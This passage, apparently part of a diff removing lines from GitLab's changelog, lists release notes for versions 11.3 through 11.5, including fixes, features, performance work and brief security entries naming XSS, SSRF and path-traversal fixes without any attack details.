-- Fix broken "Show whitespace changes" button on MRs. !22539
-- Always show new issue button in boards' Open list. !22557 (Heinrich Lee Yu)
-- Add transparent background to markdown header tabs. !22565 (George Tsiolis)
-- Use gitlab_environment for ldap rake task. !22582
-- Add commit message to commit tree anchor title. !22585
-- Cache pipeline status per SHA. !22589
-- Change HELM_HOST in Auto-DevOps template to work behind proxy. !22596 (Sergej Nikolaev <kinolaev@gmail.com>)
-- Show user status for label events in system notes. !22609
-- Fix extra merge request versions created from forked merge requests. !22611
-- Remove PersonalAccessTokensFinder#find_by method. !22617
-- Fix search "all in GitLab" not working with relative URLs. !22644
-- Fix quick links button styles. !22657 (George Tsiolis)
-- Fix #53298: JupyterHub restarts should work without errors. !22671 (Amit Rathi)
-- Fix incompatibility with IE11 due to non-transpiled gitlab-ui components. !22695
-- Fix bug when links in tabs of the labels index pages ends with .html. !22716
-- Fixed label removal from issue. !22762
-- Align toggle sidebar button across all browsers and OSs. !22771
-- Disable replication lag check for Aurora PostgreSQL databases. !22786
-- Render unescaped link for failed pipeline status. !22807
-- Fix misaligned approvers dropdown. !22832
-- Fix bug with wiki page create message. !22849
-- Fix rendering of filter bar tokens for special values. !22865 (Heinrich Lee Yu)
-- Align sign in button. !22888 (George Tsiolis)
-- Fix error handling bugs in kubernetes integration. !22922
-- Fix deployment jobs using nil KUBE_TOKEN due to migration issue. !23009
-- Avoid returning deployment metrics url to MR widget when the deployment is not successful. !23010
-- Fix a race condition intermittently breaking GitLab startup. !23028
-- Adds margin after a deleted branch name in the activity feed. !23038
-- Ignore environment validation failure. !23100
-- Adds CI favicon back to jobs page.
-- Redirect to the pipeline builds page when a build is canceled. (Eva Kadlecova)
-- Fixed diff stats not showing when performance bar is enabled.
-- Show expand all diffs button when a single diff file is collapsed.
-- Clear fetched file templates when changing template type in Web IDE.
-- Fix bug causing not all emails to show up in commit email selectbox.
-- Remove duplicate escape in job sidebar.
-- Fixing styling issues on the scheduled pipelines page.
-- Fixes broken test in master.
-- Renders stuck block when runners are stuck.
-- Removes extra border from test reports in the merge request widget.
-- Fixes broken borders for reports section in MR widget.
-- Only render link to branch when branch still exists in pipeline page.
-- Fixed source project not filtering in merge request creation compare form.
-- Do not reload self on hooks when creating deployment.
-
-### Changed (38 changes, 12 of them are from the community)
-
-- Link button in markdown editor recognize URLs. !1983 (Johann Hubert Sonntagbauer)
-- Replace i to icons in vue components. !20748 (George Tsiolis)
-- Remove Linguist gem, reducing Rails memory usage by 128MB per process. !21008
-- Issue board card design. !21229
-- On deletion of a file in sub directory in web IDE redirect to the sub directory instead of project root. !21465 (George Thomas @thegeorgeous)
-- Change single-item breadcrumbs to page titles. !22155
-- Improving branch filter sorting by listing exact matches first and added support for begins_with (^) and ends_with ($) matching. !22166 (Jason Rutherford)
-- Remove legacy unencrypted webhook columns from the database. !22199
-- Show canary status in the performance bar. !22222
-- Add failure reason for execution timeout. !22224
-- Rename "scheduled" label/badge of delayed jobs to "delayed". !22245
-- Update the empty state on wiki-only projects to display an empty state that is more consistent with the rest of the system. !22262
-- Add IID headers to E-Mail notifications. !22263
-- Allow finding the common ancestor for multiple revisions through the API. !22295
-- Add status to Deployment. !22380
-- Add dynamic timer to delayed jobs. !22382
-- No longer require a deploy to start Prometheus monitoring. !22401
-- Secret Variables renamed to CI Variables in the codebase, to match UX. !22414 (Marcel Amirault @ravlen)
-- Automatically navigate to last board visited. !22430
-- Use merge request prefix symbol in event feed title. !22449 (George Tsiolis)
-- Update Ruby version in README. !22466 (J.D. Bean)
-- Reword error message for internal CI unknown pipeline status. !22474
-- Bump mermaid to 8.0.0-rc.8. !22509 (@blackst0ne)
-- Update Todo icons in collapsed sidebar for Issues and MRs. !22534
-- Support backward compatibility when introduce new failure reason. !22566
-- Add dynamic timer for delayed jobs in pipelines list. !22621
-- Truncate milestone title on collapsed sidebar. !22624 (George Tsiolis)
-- Standardize milestones filter in APIs to None / Any. !22637 (Heinrich Lee Yu)
-- Add dynamic timer for delayed jobs in job list. !22656
-- Allowing issues with single letter identifiers to be linked to external issue tracker (f.ex T-123). !22717 (Dídac Rodríguez Arbonès)
-- Update project and group labels empty state. !22745 (George Tsiolis)
-- Fix environment status in merge request widget. !22799
-- Paginate Bitbucket Server importer projects. !22825
-- Drop `allow_overflow` option in `TimeHelper.duration_in_numbers`. !52284
-- Add 'only history' option to notes filter.
-- Adds filtered dropdown with changed files in review.
-- Expose {closed,merged}_{at,by} in merge requests API index.
-- Make all legacy security reports to use raw format.
-
-### Performance (27 changes, 6 of them are from the community)
-
-- Add preload for routes and namespaces for issues controller. !21651
-- Enhance performance of counting local LFS objects. !22143
-- Use cached readme contents when available. !22325
-- Experimental support for running Puma multithreaded web-server. !22372
-- Enhance performance of counting local Uploads. !22522
-- Reduce SQL queries needed to load open merge requests. !22709
-- Significantly cut memory usage and SQL queries when reloading diffs. !22725
-- Optimize merge request refresh by using the database to check commit SHAs. !22731
-- Remove dind from license_management auto-devops job definition. !22732
-- Add index to find stuck merge requests. !22749
-- Allow Rails concurrency when running in Puma. !22751
-- Improve performance of rendering large reports. !22835
-- Improves performance of stuck import jobs detection. !22879
-- Rewrite SnippetsFinder to improve performance by a factor of 1500.
-- Enable more frozen string in lib/**/*.rb. (gfyoung)
-- Enable some frozen string in lib/gitlab. (gfyoung)
-- Enable even more frozen string in lib/**/*.rb. (gfyoung)
-- Improve performance of tree rendering in repositories with lots of items.
-- Remove gitlab-ui's tooltip from global.
-- Remove gitlab-ui's progress bar from global.
-- Remove gitlab-ui's pagination from global.
-- Remove gitlab-ui's modal from global.
-- Remove gitlab-ui's loading icon from global.
-- Enable frozen string for lib/gitlab/*.rb. (gfyoung)
-- Enable frozen string for lib/gitlab/ci. (gfyoung)
-- Enable frozen string for remaining lib/gitlab/ci/**/*.rb. (gfyoung)
-- Adds pagination to pipelines table in merge request page.
-
-### Added (33 changes, 11 of them are from the community)
-
-- Add endpoint to update a git submodule reference. !20949
-- Add license data to projects endpoint. !21606 (J.D. Bean (@jdbean))
-- Allow to configure when to retry failed CI jobs. !21758 (Markus Doits)
-- Add API endpoint to list issue related merge requests. !21806 (Helmut Januschka)
-- Add the Play button for delayed jobs in environment page. !22106
-- Switch between tree list & file list in diffs file browser. !22191
-- Re-arrange help-related user menu items into new Help menu. !22195
-- Adds trace of each access check when git push times out. !22265
-- Add email for milestone change. !22279
-- Show post-merge pipeline in merge request page. !22292
-- Add Applications API endpoints for listing and deleting entries. !22296 (Jean-Baptiste Vasseur)
-- Added `Any` option to milestones filter. !22351 (Heinrich Lee Yu)
-- Improve validation errors for external CI/CD configuration. !22394
-- Introduce new model to persist specific cluster information. !22404
-- Add background migration to populate Kubernetes namespaces. !22433
-- Add support for JSON logging for audit events. !22471
-- Adds option to override commit email with a noreply private email. !22560
-- Add None/Any option for assignee_id in Issues and Merge Requests API. !22598 (Heinrich Lee Yu)
-- Add None/Any option for assignee_id in search bar. !22599 (Heinrich Lee Yu)
-- Implement parallel job keyword. !22631
-- Add None / Any options to reactions filter. !22638 (Heinrich Lee Yu)
-- Make index.* render like README.* when it's present in a repository. !22639 (Jakub Jirutka)
-- Allow adding patches when creating a merge request via email. !22723 (Serdar Dogruyol)
-- Bump Gitaly to 0.129.0. !22868
-- Allow commenting on any diff line in Merge Requests. !22914
-- Add revert to commits API. !22919
-- Introduce Knative support. !43959 (Chris Baumbauer)
-- Reimplemented image commenting in merge request diffs.
-- Soft-archive old jobs.
-- Renders warning info when job is archieved.
-- Support licenses and performance.
-- Filter notes by comments or activity for issues and merge requests.
-- Bump Gitaly to 0.128.0.
-
-### Other (54 changes, 18 of them are from the community)
-
-- Remove .card-title from .card-header for BS4 migration. !19335 (Takuya Noguchi)
-- Update group settings/edit page to new design. !21115
-- Change markdown header tab anchor links to buttons. !21988 (George Tsiolis)
-- Replace tooltip in markdown component with gl-tooltip. !21989 (George Tsiolis)
-- Extend RBAC by having a service account restricted to project's namespace. !22011
-- Update images in group docs. !22031 (Marc Schwede)
-- Add gitlab:gitaly:check task for Gitaly health check. !22063
-- Add new sort option "most_stars" to "Group > Children" pages. !22121 (Rene Hennig)
-- Fix inaccessible dropdown for code-less projects. !22137
-- Rails5: fix user edit profile clear status spec. !22169 (Jasper Maes)
-- Rails 5: fix mysql milliseconds problems in scheduled build specs. !22170 (Jasper Maes)
-- Focus project slug on tab navigation. !22198
-- Redesign activity feed. !22217
-- Update used version of Runner Helm Chart to 0.1.34. !22274
-- Update environments empty state. !22297 (George Tsiolis)
-- Adds model and migrations to enable group level clusters. !22307
-- Use literal instead of constructor for creating regex. !22367
-- Remove prometheus configuration help text. !22413 (George Tsiolis)
-- Rails5: fix deployment model spec. !22428 (Jasper Maes)
-- Change to top level controller for clusters so that we can use it for project clusters (now) and group clusters (later). !22438
-- Remove empty spec describe blocks. !22451 (George Tsiolis)
-- Change branch font type in tag creation. !22454 (George Tsiolis)
-- Rails5: fix delete blob. !22456 (Jasper Maes)
-- Start tracking shards and pool repositories in the database. !22482
-- Allow kubeclient to call RoleBinding methods. !22524
-- Introduce new kubernetes helpers. !22525
-- Adds container to pager to enable scoping. !22529
-- Update used version of Runner Helm Chart to 0.1.35. !22541
-- Removes experimental labels from cluster views. !22550
-- Combine all datetime library functions into 'datetime_utility.js'. !22570
-- Upgrade Prometheus to 2.4.3 and Alertmanager to 0.15.2. !22600
-- Fix stage dropdown not rendering in different languages. !22604
-- Remove asset_sync gem from Gemfile and related code from codebase. !22610
-- Use key-value pair arrays for API query parameter logging instead of hashes. !22623
-- Replace deprecated uniq on a Relation with distinct. !22625 (Jasper Maes)
-- Remove mousetrap-rails gem. !22647 (Takuya Noguchi)
-- Fix IDE typos in props. !22685 (George Tsiolis)
-- Add scheduled flag to job entity. !22710
-- Remove `ci_enable_scheduled_build` feature flag. !22742
-- Add endpoints for simulating certain failure modes in the application. !22746
-- Bump KUBERNETES_VERSION for Auto DevOps to latest 1.10 series. !22757
-- Fix statement timeouts in RemoveRestrictedTodos migration. !22795
-- Rails5: fix mysql milliseconds issue in deployment model specs. !22850 (Jasper Maes)
-- Update GitLab-Workhorse to v7.1.0. !22883
-- Update JIRA service UI to accept email and API token.
-- Update wiki empty state. (George Tsiolis)
-- Only renders dropdown for review app changes when we have a list of files to show. Otherwise will render the regular review app button.
-- Associate Rakefile with Ruby icon in diffs.
-- Uses gitlab-ui components in jobs components.
-- Create new group: Rename form fields and update UI.
-- Transform job page into a single Vue+Vuex application.
-- Updates svg dependency.
-- Adds missing i18n to pipelines table.
-- Disables stop environment button while the deploy is in progress.
-
-
-## 11.4.9 (2018-12-03)
-
-### Fixed (2 changes)
-
-- Display impersonation token value only after creation. !22916
-- Correctly handle data-loss scenarios when encrypting columns. !23306
-
-
-## 11.4.8 (2018-11-27)
-
-### Security (24 changes)
-
-- Escape entity title while autocomplete template rendering to prevent XSS. !2571
-- Resolve reflected XSS in Ouath authorize window.
-- Fix XSS in merge request source branch name.
-- Escape user fullname while rendering autocomplete template to prevent XSS.
-- Fix CRLF vulnerability in Project hooks.
-- Fix possible XSS attack in Markdown urls with spaces.
-- Redact sensitive information on gitlab-workhorse log.
-- Do not follow redirects in Prometheus service when making http requests to the configured api url.
-- Persist only SHA digest of PersonalAccessToken#token.
-- Don't expose confidential information in commit message list.
-- Provide email notification when a user changes their email address.
-- Restrict Personal Access Tokens to API scope on web requests.
-- Redact personal tokens in unsubscribe links.
-- Fix SSRF in project integrations.
-- Fixed ability to comment on locked/confidential issues.
-- Fixed ability of guest users to edit/delete comments on locked or confidential issues.
-- Fix milestone promotion authorization check.
-- Monkey kubeclient to not follow any redirects.
-- Configure mermaid to not render HTML content in diagrams.
-- Fix a possible symlink time of check to time of use race condition in GitLab Pages.
-- Removed ability to see private group names when the group id is entered in the url.
-- Fix stored XSS for Environments.
-- Prevent SSRF attacks in HipChat integration.
-- Validate Wiki attachments are valid temporary files.
-
-
-## 11.4.7 (2018-11-20)
-
-- No changes.
-
-## 11.4.6 (2018-11-18)
-
-### Security (1 change)
-
-- Escape user fullname while rendering autocomplete template to prevent XSS.
-
-
-## 11.4.5 (2018-11-04)
-
-### Fixed (4 changes, 1 of them is from the community)
-
-- fix link to enable usage ping from convdev index. !22545 (Anand Capur)
-- Update gitlab-ui dependency to 1.8.0-hotfix.1 to fix IE11 bug.
-- Remove duplicate escape in job sidebar.
-- Fixed merge request fill tree toggling not respecting fluid width preference.
-
-### Other (1 change)
-
-- Fix stage dropdown not rendering in different languages.
-
-
-## 11.4.4 (2018-10-30)
-
-### Security (1 change)
-
-- Monkey kubeclient to not follow any redirects.
-
-
-## 11.4.3 (2018-10-26)
-
-- No changes.
-
-## 11.4.2 (2018-10-25)
-
-### Security (5 changes)
-
-- Escape entity title while autocomplete template rendering to prevent XSS. !2571
-- Persist only SHA digest of PersonalAccessToken#token.
-- Redact personal tokens in unsubscribe links.
-- Block loopback addresses in UrlBlocker.
-- Validate Wiki attachments are valid temporary files.
-
-
-## 11.4.1 (2018-10-23)
-
-### Security (2 changes)
-
-- Fix XSS in merge request source branch name.
-- Prevent SSRF attacks in HipChat integration.
-
-
-## 11.4.0 (2018-10-22)
-
-### Security (9 changes)
-
-- Filter user sensitive data from discussions JSON. !2536
-- Encrypt webhook tokens and URLs in the database. !21645
-- Redact confidential events in the API.
-- Set timeout for syntax highlighting.
-- Sanitize JSON data properly to fix XSS on Issue details page.
-- Markdown API no longer displays confidential title references unless authorized.
-- Properly filter private references from system notes.
-- Fix stored XSS in merge requests from imported repository.
-- Fix xss vulnerability sourced from package.json.
-
-### Removed (2 changes)
-
-- Remove background job throttling feature. !21748
-- Remove sidekiq info from performance bar.
-
-### Fixed (68 changes, 18 of them are from the community)
-
-- Fixes 500 for cherry pick API with empty branch name. !21501 (Jacopo Beschi @jacopo-beschi)
-- Fix sorting by priority or popularity on group issues page, when also searching issue content. !21521
-- Fix vertical alignment of text in diffs. !21573
-- Fix performance bar modal position. !21577
-- Bump KaTeX version to 0.9.0. !21625
-- Correctly show legacy diff notes in the merge request changes tab. !21652
-- Synchronize the default branch when updating a remote mirror. !21653
-- Filter group milestones based on user membership. !21660
-- Fix double title in merge request chat messages. !21670 (Kukovskii Vladimir)
-- Delete container repository tags outside of transaction. !21679
-- Images are no longer displayed in Todo descriptions. !21704
-- Fixed merge request widget discussion state not updating after resolving discussions. !21705
-- Vendor Auto-DevOps.gitlab-ci.yml to fix bug where the deploy job does not wait for Deployment to complete. !21713
-- Use Reliable Sidekiq fetch. !21715
-- No longer show open issues from archived projects in group issue board. !21721
-- Issue and MR count now ignores archived projects. !21721
-- Fix resizing of monitoring dashboard. !21730
-- Fix object storage uploads not working with AWS v2. !21731
-- Don't ignore first action when assign and unassign quick actions are used in the same comment. !21749
-- Align form labels following Bootstrap 4 docs. !21752
-- Respect the user commit email in more places. !21773
-- Use stats RPC when comparing diffs. !21778
-- Show commit details for selected commit in MR diffs. !21784
-- Resolve "Geo: Does not mark repositories as missing on primary due to stale cache". !21789
-- Fix leading slash in redirects and add rubocop cop. !21828 (Sanad Liaquat)
-- Fix activity titles for MRs in chat notification services. !21834
-- Hides Close Merge request btn on merged Merge request. !21840 (Jacopo Beschi @jacopo-beschi)
-- Doesn't synchronize the default branch for push mirrors. !21861
-- Fix broken styling when issue board is collapsed. !21868 (Andrea Leone)
-- Set a header for custom error pages to prevent them from being intercepted by gitlab-workhorse. !21870 (David Piegza)
-- Fix resolved discussions being unresolved when commented on. !21881
-- Fix timeout when running the RemoveRestrictedTodos background migration. !21893
-- Enable the ability to use the force env for rebuilding authorized_keys during a restore. !21896
-- Fix link handling for issue cards to avoid too sensitive drag events. !21910 (Johann Hubert Sonntagbauer)
-- Guard against a login attempt with invalid CSRF token. !21934
-- Allow setting user's organization and location attributes through the API by adding them to the list of allowed parameters. !21938 (Alexis Reigel)
-- Includes commit stats in POST project commits API. !21968 (Jacopo Beschi @jacopo-beschi)
-- Fix loading issue on some merge request discussion. !21982
-- Prevent Error 500s with invalid relative links. !22001
-- Fix stale issue boards after browser back. !22006 (Johann Hubert Sonntagbauer)
-- Filter issues without an Assignee via the API. !22009 (Eva Kadlecová)
-- Fixes modal button alignment. !22024 (Jacopo Beschi @jacopo-beschi)
-- Fix rendering placeholder notes. !22078
-- Instance Configuration page now displays correct SSH fingerprints. !22081
-- Fix showing diff file header for renamed files. !22089
-- Fix LFS uploaded images not being rendered. !22092
-- Fix the issue where long environment names aren't being truncated, causing the environment name to overlap into the column next to it. !22104
-- Trim whitespace when inviting a new user by email. !22119 (Jacopo Beschi @jacopo-beschi)
-- Fix incorrect parent path on group settings page. !22142
-- Update copy to clipboard button data for application secret. !22268 (George Tsiolis)
-- Improve MR file tree in smaller screens. !22273
-- Fix project deletion when there is a export available. !22276
-- Fixes stuck block URL linking to documentation instead of settings page. !22286
-- Fix caching issue with pipelines URL. !22293
-- Fix erased block not being rendered when job was erased. !22294
-- Load correct stage in the stages dropdown. !22317
-- Fixes close/reopen quick actions preview for issues and merge_requests. !22343 (Jacopo Beschi @jacopo-beschi)
-- Allow Issue and Merge Request sidebar to be toggled from collapsed state. !22353
-- Fix filter bar height bug when a tag is added.
-- Fix the state of the Done button when there is an error in the GitLab Todos section. (marcos8896)
-- Fix wrong text color of help text in merge request creation. (Gerard Montemayor)
-- Add borders and white background to markdown tables.
-- Fixed mention autocomplete in edit merge request.
-- Fix long webhook URL overflow for custom integration. (Kukovskii Vladimir)
-- Fixed file templates not fully being fetched in Web IDE.
-- Fixes performance bar looking for a key in a undefined prop.
-- Hides sidebar for job page in mobile.
-- Fixes triggered/created labeled in job header.
-
-### Changed (26 changes, 4 of them are from the community)
-
-- Enable unauthenticated access to public SSH keys via the API. !20118 (Ronald Claveau)
-- Support Kubernetes RBAC for GitLab Managed Apps when creating new clusters. !21401
-- Highlight current user in comments. !21406
-- Excludes project marked from deletion to projects API. !21542 (Jacopo Beschi @jacopo-beschi)
-- Improve install flow of Kubernetes cluster apps. !21567
-- Move including external files in .gitlab-ci.yml from Starter to Libre. !21603
-- Simplify runner registration token resetting. !21658
-- Filter any parameters ending with "key" in logs. !21688
-- Ensure the schema is loaded with post_migrations included. !21689
-- Updated icons used in filtered search dropdowns. !21694
-- Enable omniauth by default. !21700
-- Vendor Auto-DevOps.gitlab-ci.yml to refactor registry_login. !21714 (Laurent Goderre @LaurentGoderre)
-- Add Gitaly diff stats RPC client. !21732
-- Allow user to revoke an authorized application even if User OAuth applications setting is disabled in admin settings. !21835
-- Change vertical margin of page titles to 16px. !21888
-- Preserve order of project tags list. !21897
-- Avoid close icon leaving the modal header. !21904
-- Allow /copy_metadata for new issues and MRs. !21953
-- Link to the tag for a version on the help page instead of to the commit. !22015
-- Show SHA for pre-release versions on the help page. !22026
-- Use local tiller for Auto DevOps. !22036
-- Remove 'rbac_clusters' feature flag. !22096
-- Increased retained event data by extending events pruner timeframe to 2 years. !22145
-- Add installation type to backup information file. !22150
-- Remove duplicate button from the markdown header toolbar. !22192 (George Tsiolis)
-- Update to Rouge 3.3.0 including frozen string literals for improved memory usage.
-
-### Performance (17 changes, 6 of them are from the community)
-
-- Enable frozen string in app/controllers/**/*.rb.
-- Improve lazy image loading performance by using IntersectionObserver where available. !21565
-- Adds support for Gitaly ListLastCommitsForTree RPC in order to make bulk-fetch of commits more performant. !21921
-- Dont create license_management build when not included in license. !21958
-- Skip creating auto devops jobs for sast, container_scanning, dast, dependency_scanning when not licensed. !21959
-- Reduce queries needed to compute notification recipients. !22050
-- Banzai label ref finder - minimize SQL calls by sharing context more aggresively. !22070
-- Removes expensive dead code on main MR page request. !22153
-- Lazy load xterm custom colors css.
-- Mitigate N+1 queries when parsing commit references in comments.
-- Enable more frozen string in app/controllers/. (gfyoung)
-- Increase performance when creating discussions on diff.
-- Enable frozen string in lib/api and lib/backup. (gfyoung)
-- Enable frozen string in vestigial files. (gfyoung)
-- Enable frozen string for app/helpers/**/*.rb. (gfyoung)
-- Enable frozen string in app/graphql + app/finders. (gfyoung)
-- Enable even more frozen string in app/controllers. (gfyoung)
-
-### Added (37 changes, 21 of them are from the community)
-
-- Allow file templates to be requested at the project level. !7776
-- Add /lock and /unlock quick actions. !15197 (Mehdi Lahmam (@mehlah))
-- Added search functionality for Work In Progress (WIP) merge requests. !18119 (Chantal Rollison)
-- pipeline webhook event now contain pipeline variables. !18171 (Pierre Tardy)
-- Add markdown header toolbar button to insert table. !18480 (George Tsiolis)
-- Add link button to markdown editor toolbar. !18579 (Jan Beckmann)
-- Add access control to GitLab pages and make it possible to enable/disable it in project settings. !18589 (Tuomo Ala-Vannesluoma)
-- Add a filter bar to the admin runners view and add a state filter. !19625 (Alexis Reigel)
-- Add a type filter to the admin runners view. !19649 (Alexis Reigel)
-- Allow user to choose the email used for commits made through GitLab's UI. !21213 (Joshua Campbell)
-- Add autocomplete drop down filter for project snippets. !21458 (Fabian Schneider)
-- Allow events filter to be set in the URL in addition to cookie. !21557 (Igor @igas)
-- Adds a initialize_with_readme parameter to POST /projects. !21617 (Steve)
-- Add ability to skip user email confirmation with API. !21630
-- Add sorting for labels on labels page. !21642
-- Set user status from within user menu. !21643
-- Copy nurtch demo notebooks at Jupyter startup. !21698 (Amit Rathi)
-- Allows to sort projects by most stars. !21762 (Jacopo Beschi @jacopo-beschi)
-- Allow pipelines to schedule delayed job runs. !21767
-- Added tree of changed files to merge request diffs. !21833
-- Add GitLab version components to CI environment variables. !21853
-- Allows to chmod file with commits API. !21866 (Jacopo Beschi @jacopo-beschi)
-- Make single diff patch limit configurable. !21886
-- Extend reports feature to support Security Products. !21892
-- Adds the user's public_email attribute to the API. !21909 (Alexis Reigel)
-- Update all gitlab CI templates from gitlab-org/gitlab-ci-yml. !21929
-- Add support for setting the public email through the api. !21938 (Alexis Reigel)
-- Support db migration and initialization for Auto DevOps. !21955
-- Add subscribe filter to group and project labels pages. !21965
-- Add support for pipeline only/except policy for modified paths. !21981
-- Docs for Project/Groups members API with inherited members. !21984 (Jacopo Beschi @jacopo-beschi)
-- Adds Web IDE commits to usage ping. !22007
-- Add timed incremental rollout to Auto DevOps. !22023
-- Show percentage of language detection on the language bar. !22056 (Johann Hubert Sonntagbauer)
-- Allows to filter issues by Any milestone in the API. !22080 (Jacopo Beschi @jacopo-beschi)
-- Add button to download 2FA codes. (Luke Picciau)
-- Render log artifact files in GitLab.
-
-### Other (42 changes, 16 of them are from the community)
-
-- Send deployment information in job API. !21307
-- Split admin settings into multiple sub pages. !21467
-- Remove Rugged and shell code from Gitlab::Git. !21488
-- Add trigger information in job API. !21495
-- Add empty state illustration information in job API. !21532
-- Add retried jobs to pipeline stage. !21558
-- Rails 5: fix issue move service In rails 5, the attributes method for an enum returns the name instead of the database integer. !21616 (Jasper Maes)
-- Expose project runners in job API. !21618
-- create from template: hide checkbox for initializing repository with readme. !21646
-- Adds new 'Overview' tab on user profile page. !21663
-- Add clean-up phase for ScheduleDiffFilesDeletion migration. !21734
-- Prevents private profile help link from toggling checkbox. !21757
-- Make AutoDevOps work behind proxy. !21775 (Sergej - @kinolaev)
-- Use Vue components and new API to render Artifacts, Trigger Variables and Commit blocks on Job page. !21777
-- Add wrapper rake task to migrate all uploads to OS. !21779
-- Retroactively fill pipeline source for external pipelines. !21814
-- Rename squash before merge vue component. !21851 (George Tsiolis)
-- Fix merge request header margins. !21878
-- Fix committer typo. !21899 (George Tsiolis)
-- Adds an extra width to the responsive tables. !21928
-- Expose has_trace in job API. !21950
-- Rename block scope local variable in table pagination spec. !21969 (George Tsiolis)
-- Fix blue, orange, and red color inconsistencies. !21972
-- Update operations metrics empty state. !21974 (George Tsiolis)
-- Improve empty project placeholder for non-members and members without write access. !21977 (George Tsiolis)
-- Add copy to clipboard button for application id and secret. !21978 (George Tsiolis)
-- Add link component to UserAvatarLink component. !21986 (George Tsiolis)
-- Add link component to DownloadViewer component. !21987 (George Tsiolis)
-- Rephrase 2FA and TOTP documentation and view. !21998 (Marc Schwede)
-- Update project path on project name autofill. !22016
-- Improve logging when username update fails due to registry tags. !22038
-- Align collapsed sidebar avatar container. !22044 (George Tsiolis)
-- Rails5: fix artifacts controller download spec Rails5 has params[:file_type] as '' if file_type is included as nil in the request. !22123 (Jasper Maes)
-- Hide pagination for personal projects on profile overview tab. !22321
-- Extracts scroll position check into reusable functions.
-- Uses Vuex store in job details page and removes old mediator pattern.
-- Render 412 when invalid UTF-8 parameters are passed to controller.
-- Renders Job show page in new Vue app.
-- Add link to User Snippets in breadcrumbs of New User Snippet page. (J.D. Bean)
-- Log project services errors when executing async.
-- Update docs regarding frozen string. (gfyoung)
-- Check frozen string in style builds. (gfyoung)
-
-
-## 11.3.14 (2018-12-20)
-
-### Security (1 change)
-
-- Fix persistent symlink in project import.
-
-
-## 11.3.13 (2018-12-13)
-
-### Security (1 change)
-
-- Validate LFS hrefs before downloading them.
-
-
-## 11.3.12 (2018-12-06)
-
-### Security (1 change)
-
-- Prevent a path traversal attack on global file templates.
-
-
-## 11.3.11 (2018-11-26)
-
-### Security (33 changes)
-
-- Filter user sensitive data from discussions JSON. !2537
-- Escape entity title while autocomplete template rendering to prevent XSS. !2557
-- Restrict Personal Access Tokens to API scope on web requests.
-- Fix XSS in merge request source branch name.
-- Escape user fullname while rendering autocomplete template to prevent XSS.
-- Fix CRLF vulnerability in Project hooks.
-- Fix possible XSS attack in Markdown urls with spaces.
-- Redact sensitive information on gitlab-workhorse log.
-- Set timeout for syntax highlighting.
-- Do not follow redirects in Prometheus service when making http requests to the configured api url.
-- Persist only SHA digest of PersonalAccessToken#token.
-- Sanitize JSON data properly to fix XSS on Issue details page.
-- Don't expose confidential information in commit message list.
-- Markdown API no longer displays confidential title references unless authorized.
-- Provide email notification when a user changes their email address.
-- Properly filter private references from system notes.
-- Redact personal tokens in unsubscribe links.
-- Resolve reflected XSS in Ouath authorize window.
-- Fix SSRF in project integrations.
-- Fix stored XSS in merge requests from imported repository.
-- Fixed ability to comment on locked/confidential issues.
-- Fixed ability of guest users to edit/delete comments on locked or confidential issues.
-- Fix milestone promotion authorization check.
-- Monkey kubeclient to not follow any redirects.
-- Configure mermaid to not render HTML content in diagrams.
-- Redact confidential events in the API.
-- Fix xss vulnerability sourced from package.json.
-- Fix a possible symlink time of check to time of use race condition in GitLab Pages.
-- Removed ability to see private group names when the group id is entered in the url.
-- Fix stored XSS for Environments.
-- Block loopback addresses in UrlBlocker.
-- Prevent SSRF attacks in HipChat integration.
-- Validate Wiki attachments are valid temporary files.
-
-
-## 11.3.10 (2018-11-18)
-
-### Security (1 change)
-
-- Escape user fullname while rendering autocomplete template to prevent XSS.
-
-
-## 11.3.9 (2018-10-31)
-
-### Security (1 change)
-
-- Monkey kubeclient to not follow any redirects.
-
-
-## 11.3.8 (2018-10-27)
-
-- No changes.
-
-## 11.3.7 (2018-10-26)
-
-### Security (6 changes)
-
-- Escape entity title while autocomplete template rendering to prevent XSS. !2557
-- Persist only SHA digest of PersonalAccessToken#token.
-- Fix XSS in merge request source branch name.
-- Redact personal tokens in unsubscribe links.
-- Prevent SSRF attacks in HipChat integration.
-- Validate Wiki attachments are valid temporary files.
-
-
-## 11.3.6 (2018-10-17)
-
-- No changes.
-
-## 11.3.5 (2018-10-15)
-
-### Fixed (2 changes)
-
-- Fix loading issue on some merge request discussion. !21982
-- Fix project deletion when there is a export available. !22276
-
-
-## 11.3.3 (2018-10-04)
-
-- No changes.
-
-## 11.3.2 (2018-10-03)
-
-### Fixed (4 changes)
-
-- Fix NULL pipeline import problem and pipeline user mapping issue. !21875
-- Fix migration to avoid an exception during upgrade. !22055
-- Fixes admin runners table not wrapping content.
-- Fix Error 500 when forking projects with Gravatar disabled.
-
-### Other (1 change)
-
-- Removes the 'required' attribute from the 'project name' field. !21770
-
-
-## 11.3.1 (2018-09-26)
-
-### Security (6 changes)
-
-- Redact confidential events in the API.
-- Set timeout for syntax highlighting.
-- Sanitize JSON data properly to fix XSS on Issue details page.
-- Fix stored XSS in merge requests from imported repository.
-- Fix xss vulnerability sourced from package.json.
-- Block loopback addresses in UrlBlocker.
-
-
-## 11.3.0 (2018-09-22)
-
-### Security (5 changes, 1 of them is from the community)
-
-- Disable the Sidekiq Admin Rack session. !21441
-- Set issuable_sort, diff_view, and perf_bar_enabled cookies to secure when possible. !21442
-- Update rubyzip to 1.2.2 (CVE-2018-1000544). !21460 (Takuya Noguchi)
-- Fixed persistent XSS rendering/escaping of diff location lines.
-- Block link-local addresses in URLBlocker.
-
-### Removed (1 change)
-
-- Remove Gemnasium service. !21185
-
-### Fixed (83 changes, 24 of them are from the community)
-
-- Hide PAT creation advice for HTTP clone if PAT exists. !18208 (George Thomas @thegeorgeous)
-- Allow spaces in wiki markdown links when using CommonMark. !20417
-- disable_statement_timeout no longer leak to other migrations. !20503
-- Events API now requires the read_user or api scope. !20627 (Warren Parad)
-- Fix If-Check the result that a function was executed several times. !20640 (Max Dicker)
-- Add migration to cleanup internal_ids inconsistency. !20926
-- Fix fallback logic for automatic MR title assignment. !20930 (Franz Liedke)
-- Fixed bug when the project logo file is stored in LFS. !20948
-- Fix buttons on the new file page wrapping outside of the container. !21015
-- Solve tooltip appears under modal. !21017
-- Fix Bitbucket Cloud importer omitting replies. !21076
-- Fix pipeline fixture seeder. !21088
-- Fix blocked user card style. !21095
-- Fix empty merge requests not opening in the Web IDE. !21102
-- Fix label list item container height when there is no label description. !21106
-- Fixes input alignment in user admin form with errors. !21108 (Jacopo Beschi @jacopo-beschi)
-- Rails5 fix specs duplicate key value violates unique constraint 'index_gpg_signatures_on_commit_sha'. !21119 (Jasper Maes)
-- Add gitlab theme to spam logs pagination. !21145
-- Split remembering sorting for issues and merge requests. !21153 (Jacopo Beschi @jacopo-beschi)
